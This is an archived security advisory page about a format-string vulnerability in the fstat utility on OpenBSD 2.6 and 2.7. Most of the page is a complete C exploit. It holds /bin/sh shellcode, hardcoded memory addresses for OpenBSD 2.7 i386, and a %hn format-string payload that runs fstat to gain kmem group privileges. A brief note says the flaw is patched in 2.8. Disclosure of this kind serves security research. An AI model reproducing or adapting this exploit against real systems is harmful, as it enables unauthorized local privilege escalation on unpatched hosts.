TUCoPS :: BSD :: fstat.htm

OpenBSD fstat exploit
Vulnerability

    fstat

Affected

    OpenBSD 2.6, 2.7

Description

    K2 posted following.  Here  is another exploit for an  application
    (fstat) that OpenBSD's format string audit has seemingly forgotten
    about.  On 2.6 (using the canned exploit) you get egid=2 (kmem).

    /*
     *  theoBSD fstat - private caddis & K2 release
     *  TagTeam exploit coding @$_*#%*&(#%(**(@$*($@
     *
     *  greets: #!adm, #!teso, #!w00w00
     *
     */
    #include <stdio.h>
    
    char bsd_shellcode[] =
    "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
    "\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
    "\x50\x51\x56\x50\xb0\x3b\xcd\x80"
    "\xe8\xe5\xff\xff\xff/bin/sh";
    
    struct platform {
        char *name;
        unsigned short count;
        unsigned long dest_addr;
        unsigned long shell_addr;
        char *shellcode;
    };
    
    struct platform targets[2] =
    {
        { "OpenBSD 2.7 i386       ", 590, 0xdfbfc490, 0xdfbfde04, bsd_shellcode },
        { NULL, 0, 0, 0, NULL }
    };
    
    char fmt_string[3072], jmpcode[500] = "PWD=HI", term[] = "TERM=xterm";
    char *envs[] = { term, jmpcode, NULL};
    
    void usage(char *name)
    {
        printf("%s <TARGET>\n"
               "1 - OpenBSD 2.7 i386\n", name);
        exit(1);
    }
    
    int main(int argc, char *argv[])
    {
        char *p;
        int x, len = 0;
        struct platform *target;
        unsigned short low, high;
        unsigned long shell_addr[2], dest_addr[2];
    
        if (argc != 2)
            usage(argv[0]);
    
        x = atoi(argv[1]) - 1;
        if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform)) - 1 || x < 0)
            usage(argv[0]);
    
        target = &targets[x];
    
        memset(fmt_string, 0, sizeof(fmt_string));
        len = (sizeof(long) * 4) + 2;
        p = fmt_string + len;
        for (x = 0; x < target->count; x++) {
            strcat(p, "%8x");
            len += 8;
        }
    
        shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
        shell_addr[1] =  target->shell_addr & 0xffff;
    
        if (shell_addr[1] > shell_addr[0]) {
            dest_addr[0] = target->dest_addr+2;
            dest_addr[1] = target->dest_addr;
            low  = shell_addr[0] - len;
            high = shell_addr[1] - low - len;
        } else {
            dest_addr[0] = target->dest_addr;
            dest_addr[1] = target->dest_addr+2;
            low  = shell_addr[1] - len;
            high = shell_addr[0] - low - len;
        }
    
        memcpy(fmt_string, "!!", 2);
        *(long *)&fmt_string[2]  = 0x11111111;
        *(long *)&fmt_string[6]  = dest_addr[0];
        *(long *)&fmt_string[10] = 0x11111111;
        *(long *)&fmt_string[14] = dest_addr[1];
    
        memset(jmpcode, 0x90, sizeof(jmpcode));
        strcpy(jmpcode + (sizeof(jmpcode) - strlen(target->shellcode) - 1), target->shellcode);
    
        p = fmt_string + strlen(fmt_string);
        sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
    
        execle("/usr/bin/fstat", "fstat", fmt_string, NULL, envs);
        perror("execve");
    }

Solution

    This has  been fixed.   Look for  patch at  www.openbsd.org.   2.8
    does not give  you a shell,  but instead results  in a "File  name
    too long" message.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH